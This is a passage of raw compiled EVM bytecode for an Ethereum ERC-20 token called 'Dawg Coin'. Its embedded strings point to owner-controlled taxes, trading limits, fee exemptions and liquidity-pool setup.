0565b60606040518060400160405280600481526020017f4441574700000000000000000000000000000000000000000000000000000000815250905090565b5f600854905090565b5f610f9a33611be3565b610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd0906137e4565b60405180910390fd5b610fe4338484611cb5565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107090613714565b60405180910390fd5b60145f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90613a7b565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600754905090565b5f600554905090565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611311576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130890613714565b60405180910390fd5b8363ffffffff168563ffffffff166009600a61132d919061363f565b633b9aca0061133c9190613689565b6113469190613689565b6113509190613862565b6007819055508163ffffffff168363ffffffff166009600a611372919061363f565b633b9aca006113819190613689565b61138b9190613689565b6113959190613862565b60088190555066038d7ea4c680008163ffffffff166113b49190613aab565b66ffffffffffffff16600981905550600754600854101561140a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140190613b31565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590613714565b60405180910390fd5b6001601560016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff1660135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f90613b99565b60405180910390fd5b60155f9054906101000a900460ff1615611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613c01565b60405180910390fd5b5f3411806115a457505f47115b6115e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115da90613c69565b60405180910390fd5b5f600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411611662576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165990613cd1565b60405180910390fd5b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116f09190613d03565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006040518363ffffffff1660e01b815260040161174a929190613d2e565b6020604051808303815f875af1158015611766573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061178a9190613d03565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611810600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205447612387565b600a54600b5f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461187f9190613802565b9250508190555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161194e9190613d99565b5f604051808303815f865af19150503d805f8114611987576040519150601f19603f3d011682016040523d82523d5f602084013e61198c565b606091505b505060145f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8291906101000a81548160ff0219169083151502179055505060145f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa790613df9565b60405180910390fd5b611ab861245e565b5f601560016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5890613714565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611bcf9190613e72565b60405180910390a150565b5f600654905090565b5f805f905060155f9054906101000a900460ff1615611c055760019050611cac565b600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ca1575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611cab57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90613ed5565b60405180910390fd5b60155f9054906101000a900460ff16611e1357600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611dd3575060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611e12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0990613f3d565b60405180910390fd5b5b601560019054906101000a900460ff16158015611e76575060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611e875750611e868261250d565b5b15611e9557611e94612703565b5b600454431061212b5760025443108015611ef5575060145f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f69573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5f90613fa5565b60405180910390fd5b5b610258600254611f799190613892565b43108015611fcd575060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561200557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561212a576001600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166120729190613995565b92506101000a81548160ff021916908360ff1602179055506002600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff161115612129576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212090613fa5565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561219357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156121ea57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561223a576121fa848484612825565b612239576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122309061400d565b60405180910390fd5b5b5f6122468585856129ad565b90505f81846122559190613802565b905083600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546122a39190613802565b9250508190555081600a5f8282546122bb9190613892565b9250508190555080600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461230e9190613892565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516123729190613121565b60405180910390a36001925050509392505050565b61239082612b76565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161241696959493929190614064565b60606040518083038185885af1158015612432573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061245791906140d7565b5050505050565b60646009600a61246e919061363f565b633b9aca0061247d9190613689565b60026124899190613689565b6124939190613862565b60058190555060646009600a6124a9919061363f565b633b9aca006124b89190613689565b60026124c49190613689565b6124ce9190613862565b600681905550436004819055506004546002546124eb9190613892565b600281905550600160155f6101000a81548160ff021916908315150217905550565b5f805f60095411156126d6575f600b5f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166370a0823160135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125f69190613376565b602060405180830381865afa158015612611573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126359190614127565b90505f8282876126459190613689565b61264f9190613862565b905060095481106126ce576005600e5f4381526020019081526020015f205f9054906101000a900460ff1660ff1610156126cd57600193506001600e5f4381526020019081526020015f205f8282829054906101000a900460ff166126b49190613995565b92506101000a81548160ff021916908360ff1602179055505b5b5050506126db565b600190505b6005600e5f4381526020019081526020015f205f9054906101000a9050505080915050919050565b6001601560016101000a81548160ff0219169083151502179055505f600a5490506007548110158015612741575060155f9054906101000a900460ff165b156128085760085481106127555760085490505b5f8190506009600a612767919061363f565b60016127739190613689565b8111156127ef5781600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546127c69190613892565b925050819055506127d681612d58565b81600a5f8282546127e79190613802565b925050819055505b5f4790505f8111156128055761280481612efe565b5b50505b505f601560016101000a81548160ff021916908315150217905550565b5f806001905060155f9054906101000a900460ff16801561288d575060105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156128e0575060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156129a2576005548311156128f7575f90506129a1565b60145f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612997575060065483600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129959190613892565b115b156129a0575f90505b5b5b809150509392505050565b5f8060155f9054906101000a900460ff161580612a105750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612a615750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612a6e575f9050612b6b565b60145f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612aee576064600360019054906101000a900460ff1660ff1684612add9190613689565b612ae79190613862565b9050612b6a565b60145f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612b6957606460035f9054906101000a900460ff1660ff1684612b5c9190613689565b612b669190613862565b90505b5b5b809150509392505050565b80600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612d55577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612d4c9190613121565b60405180910390a35b50565b612d6181612b76565b5f600267ffffffffffffffff811115612d7d57612d7c614152565b5b604051908082528060200260200182016040528015612dab5781602001602082028036833780820191505090505b50905030815f81518110612dc257612dc161417f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110612e3157612e3061417f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612ecd959493929190614263565b5f604051808303815f87803b158015612ee4575f80fd5b505af1158015612ef6573d5f803e3d5ffd5b505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612f62573d5f803e3d5ffd5b5050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612f9d578082015181840152602081019050612f82565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612fc282612f66565b612fcc8185612f70565b9350612fdc818560208601612f80565b612fe581612fa8565b840191505092915050565b5f6020820190508181035f8301526130088184612fb8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61303d82613014565b9050919050565b61304d81613033565b8114613057575f80fd5b50565b5f8135905061306881613044565b92915050565b5f819050919050565b6130808161306e565b811461308a575f80fd5b50565b5f8135905061309b81613077565b92915050565b5f80604083850312156130b7576130b6613010565b5b5f6130c48582860161305a565b92505060206130d58582860161308d565b9150509250929050565b5f8115159050919050565b6130f3816130df565b82525050565b5f60208201905061310c5f8301846130ea565b92915050565b61311b8161306e565b82525050565b5f6020820190506131345f830184613112565b92915050565b613143816130df565b811461314d575f80fd5b50565b5f8135905061315e8161313a565b92915050565b5f805f6060848603121561317b5761317a613010565b5b5f6131888682870161305a565b935050602061319986828701613150565b92505060406131aa86828701613150565b9150509250925092565b5f805f606084860312156131cb576131ca613010565b5b5f6131d88682870161305a565b93505060206131e98682870161305a565b92505060406131fa8682870161308d565b9150509250925092565b5f60ff82169050919050565b61321981613204565b82525050565b5f6020820190506132325f830184613210565b92915050565b5f6020828403121561324d5761324c613010565b5b5f61325a8482850161305a565b91505092915050565b5f6040820190506132765f8301856130ea565b61328360208301846130ea565b9392505050565b5f61ffff82169050919050565b6132a08161328a565b81146132aa575f80fd5b50565b5f813590506132bb81613297565b92915050565b5f80604083850312156132d7576132d6613010565b5b5f6132e4858286016132ad565b92505060206132f5858286016132ad565b9150509250929050565b61330881613204565b8114613312575f80fd5b50565b5f81359050613323816132ff565b92915050565b5f806040838503121561333f5761333e613010565b5b5f61334c85828601613315565b925050602061335d85828601613315565b9150509250929050565b61337081613033565b82525050565b5f6020820190506133895f830184613367565b92915050565b5f80604083850312156133a5576133a4613010565b5b5f6133b28582860161305a565b92505060206133c38582860161305a565b9150509250929050565b5f63ffffffff82169050919050565b6133e5816133cd565b81146133ef575f80fd5b50565b5f81359050613400816133dc565b92915050565b5f805f805f60a0868803121561341f5761341e613010565b5b5f61342c888289016133f2565b955050602061343d888289016133f2565b945050604061344e888289016133f2565b935050606061345f888289016133f2565b9250506080613470888289016133f2565b9150509295509295909350565b5f61348782613014565b9050919050565b6134978161347d565b81146134a1575f80fd5b50565b5f813590506134b28161348e565b92915050565b5f602082840312156134cd576134cc613010565b5b5f6134da848285016134a4565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561356557808604811115613541576135406134e3565b5b60018516156135505780820291505b808102905061355e85613510565b9450613525565b94509492505050565b5f8261357d5760019050613638565b8161358a575f9050613638565b81600181146135a057600281146135aa576135d9565b6001915050613638565b60ff8411156135bc576135bb6134e3565b5b8360020a9150848211156135d3576135d26134e3565b5b50613638565b5060208310610133831016604e8410600b841016171561360e5782820a905083811115613609576136086134e3565b5b613638565b61361b848484600161351c565b92509050818404811115613632576136316134e3565b5b81810290505b9392505050565b5f6136498261306e565b915061365483613204565b92506136817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461356e565b905092915050565b5f6136938261306e565b915061369e8361306e565b92508282026136ac8161306e565b915082820484148315176136c3576136c26134e3565b5b5092915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697300000000000000005f82015250565b5f6136fe601883612f70565b9150613709826136ca565b602082019050919050565b5f6020820190508181035f83015261372b816136f2565b9050919050565b7f43616e6e6f74206578656d7074204c50000000000000000000000000000000005f82015250565b5f613766601083612f70565b915061377182613732565b602082019050919050565b5f6020820190508181035f8301526137938161375a565b9050919050565b7f54726164696e67206e6f74206f70656e000000000000000000000000000000005f82015250565b5f6137ce601083612f70565b91506137d98261379a565b602082019050919050565b5f6020820190508181035f8301526137fb816137c2565b9050919050565b5f61380c8261306e565b91506138178361306e565b925082820390508181111561382f5761382e6134e3565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61386c8261306e565b91506138778361306e565b92508261388757613886613835565b5b828204905092915050565b5f61389c8261306e565b91506138a78361306e565b92508282019050808211156138bf576138be6134e3565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f6138f9600a83612f70565b9150613904826138c5565b602082019050919050565b5f6020820190508181035f830152613926816138ed565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f613961600e83612f70565b915061396c8261392d565b602082019050919050565b5f6020820190508181035f83015261398e81613955565b9050919050565b5f61399f82613204565b91506139aa83613204565b9250828201905060ff8111156139c3576139c26134e3565b5b92915050565b7f526f756e647472697020746f6f206869676800000000000000000000000000005f82015250565b5f6139fd601283612f70565b9150613a08826139c9565b602082019050919050565b5f6020820190508181035f830152613a2a816139f1565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c65740000000000000000005f82015250565b5f613a65601783612f70565b9150613a7082613a31565b602082019050919050565b5f6020820190508181035f830152613a9281613a59565b9050919050565b5f66ffffffffffffff82169050919050565b5f613ab582613a99565b9150613ac083613a99565b9250828202613ace81613a99565b9150808214613ae057613adf6134e3565b5b5092915050565b7f4d696e2d4d6178206572726f72000000000000000000000000000000000000005f82015250565b5f613b1b600d83612f70565b9150613b2682613ae7565b602082019050919050565b5f6020820190508181035f830152613b4881613b0f565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f613b83600a83612f70565b9150613b8e82613b4f565b602082019050919050565b5f6020820190508181035f830152613bb081613b77565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f613beb600c83612f70565b9150613bf682613bb7565b602082019050919050565b5f6020820190508181035f830152613c1881613bdf565b9050919050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f613c53600683612f70565b9150613c5e82613c1f565b602082019050919050565b5f6020820190508181035f830152613c8081613c47565b9050919050565b7f4e6f20746f6b656e7300000000000000000000000000000000000000000000005f82015250565b5f613cbb600983612f70565b9150613cc682613c87565b602082019050919050565b5f6020820190508181035f830152613ce881613caf565b9050919050565b5f81519050613cfd81613044565b92915050565b5f60208284031215613d1857613d17613010565b5b5f613d2584828501613cef565b91505092915050565b5f604082019050613d415f830185613367565b613d4e6020830184613367565b9392505050565b5f81519050919050565b5f81905092915050565b5f613d7382613d55565b613d7d8185613d5f565b9350613d8d818560208601612f80565b80840191505092915050565b5f613da48284613d69565b915081905092915050565b7f4661696c656420626f6f747374726170000000000000000000000000000000005f82015250565b5f613de3601083612f70565b9150613dee82613daf565b602082019050919050565b5f6020820190508181035f830152613e1081613dd7565b9050919050565b5f819050919050565b5f613e3a613e35613e3084613014565b613e17565b613014565b9050919050565b5f613e4b82613e20565b9050919050565b5f613e5c82613e41565b9050919050565b613e6c81613e52565b82525050565b5f602082019050613e855f830184613e63565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f613ebf601a83612f70565b9150613eca82613e8b565b602082019050919050565b5f6020820190508181035f830152613eec81613eb3565b9050919050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f613f27601483612f70565b9150613f3282613ef3565b602082019050919050565b5f6020820190508181035f830152613f5481613f1b565b9050919050565b7f4d455620626c6f636b00000000000000000000000000000000000000000000005f82015250565b5f613f8f600983612f70565b9150613f9a82613f5b565b602082019050919050565b5f6020820190508181035f830152613fbc81613f83565b9050919050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f613ff7600e83612f70565b915061400282613fc3565b602082019050919050565b5f6020820190508181035f83015261402481613feb565b9050919050565b5f819050919050565b5f61404e6140496140448461402b565b613e17565b61306e565b9050919050565b61405e81614034565b82525050565b5f60c0820190506140775f830189613367565b6140846020830188613112565b6140916040830187614055565b61409e6060830186614055565b6140ab6080830185613367565b6140b860a0830184613112565b979650505050505050565b5f815190506140d181613077565b92915050565b5f805f606084860312156140ee576140ed613010565b5b5f6140fb868287016140c3565b935050602061410c868287016140c3565b925050604061411d868287016140c3565b9150509250925092565b5f6020828403121561413c5761413b613010565b5b5f614149848285016140c3565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6141de81613033565b82525050565b5f6141ef83836141d5565b60208301905092915050565b5f602082019050919050565b5f614211826141ac565b61421b81856141b6565b9350614226836141c6565b805f5b8381101561425657815161423d88826141e4565b9750614248836141fb565b925050600181019050614229565b5085935050505092915050565b5f60a0820190506142765f830188613112565b6142836020830187614055565b81810360408301526142958186614207565b90506142a46060830185613367565b6142b16080830184613112565b969550505050505056fea2646970667358221220656d941f09c39694f1cc919a0b8d4b72f22da9abe2a64f8d59afbd8dc910165064736f6c63430008170033

Deployed Bytecode

0x608060405260043610610184575f3560e01c806375f0a874116100d0578063b3de9b5d11610089578063e537a83411610063578063e537a8341461057c578063e8078d94146105a4578063f2fde38b146105ae578063f8b45b05146105d65761018b565b8063b3de9b5d146104ec578063c3f70b5214610516578063dd62ed3e146105405761018b565b806375f0a874146103e05780638da5cb5b1461040a57806395d89b4114610434578063a5e992bb1461045e578063a9059cbb14610488578063aacebbe3146104c45761018b565b806330449efd1161013d5780634706240211610117578063470624021461033c5780634fcd24461461036657806370a082311461038e578063715018a6146103ca5761018b565b806330449efd146102ad578063313ce567146102ea578063368f4800146103145761018b565b806306fdde031461018f578063095ea7b3146101b957806318160ddd146101f557806318839bc31461021f57806323b872dd146102475780632b14ca56146102835761018b565b3661018b57005b5f80fd5b34801561019a575f80fd5b506101a3610600565b6040516101b09190612ff0565b60405180910390f35b3480156101c4575f80fd5b506101df60048036038101906101da91906130a1565b61063d565b6040516101ec91906130f9565b60405180910390f35b348015610200575f80fd5b5061020961072a565b6040516102169190613121565b60405180910390f35b34801561022a575f80fd5b5061024560048036038101906102409190613164565b61074d565b005b348015610252575f80fd5b5061026d600480360381019061026891906131b4565b610920565b60405161027a91906130f9565b60405180910390f35b34801561028e575f80fd5b50610297610a0b565b6040516102a4919061321f565b60405180910390f35b3480156102b8575f80fd5b506102d360048036038101906102ce9190613238565b610a20565b6040516102e1929190613263565b60405180910390f35b3480156102f5575f80fd5b506102fe610abf565b60405161030b919061321f565b60405180910390f35b34801561031f575f80fd5b5061033a600480360381019061033591906132c1565b610ac7565b005b348015610347575f80fd5b50610350610c82565b60405161035d919061321f565b60405180910390f35b348015610371575f80fd5b5061038c60048036038101906103879190613329565b610c98565b005b348015610399575f80fd5b506103b460048036038101906103af9190613238565b610db0565b6040516103c19190613121565b60405180910390f35b3480156103d5575f80fd5b506103de610df6565b005b3480156103eb575f80fd5b506103f4610efb565b6040516104019190613376565b60405180910390f35b348015610415575f80fd5b5061041e610f23565b60405161042b9190613376565b60405180910390f35b34801561043f575f80fd5b50610448610f4a565b6040516104559190612ff0565b60405180910390f35b348015610469575f80fd5b50610472610f87565b60405161047f9190613121565b60405180910390f35b348015610493575f80fd5b506104ae60048036038101906104a991906130a1565b610f90565b6040516104bb91906130f9565b60405180910390f35b3480156104cf575f80fd5b506104ea60048036038101906104e59190613238565b610fec565b005b3480156104f7575f80fd5b506105006111f0565b60405161050d9190613121565b60405180910390f35b348015610521575f80fd5b5061052a6111f9565b6040516105379190613121565b60405180910390f35b34801561054b575f80fd5b506105666004803603810190610561919061338f565b611202565b6040516105739190613121565b60405180910390f35b348015610587575f80fd5b506105a2600480360381019061059d9190613406565b611284565b005b6105ac611411565b005b3480156105b9575f80fd5b506105d460048036038101906105cf91906134b8565b611ad4565b005b3480156105e1575f80fd5b506105ea611bda565b6040516105f79190613121565b60405180910390f35b60606040518060400160405280600981526020017f4461776720436f696e0000000000000000000000000000000000000000000000815250905090565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107189190613121565b60405180910390a36001905092915050565b5f6009600a610739919061363f565b633b9aca006107489190613689565b905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d190613714565b60405180910390fd5b80806107e35750815b156108735760145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610872576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108699061377c565b60405180910390fd5b5b81600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f61092a84611be3565b610969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610960906137e4565b60405180910390fd5b81600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546109f09190613802565b92505081905550610a02848484611cb5565b90509392505050565b5f60035f9054906101000a900460ff16905090565b5f80600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1691509150915091565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b90613714565b60405180910390fd5b5f60016103e88461ffff166009600a610b6d919061363f565b633b9aca00610b7c9190613689565b610b869190613689565b610b909190613862565b610b9a9190613892565b9050600554811015610be1576040517f08c379a00000000000000000000000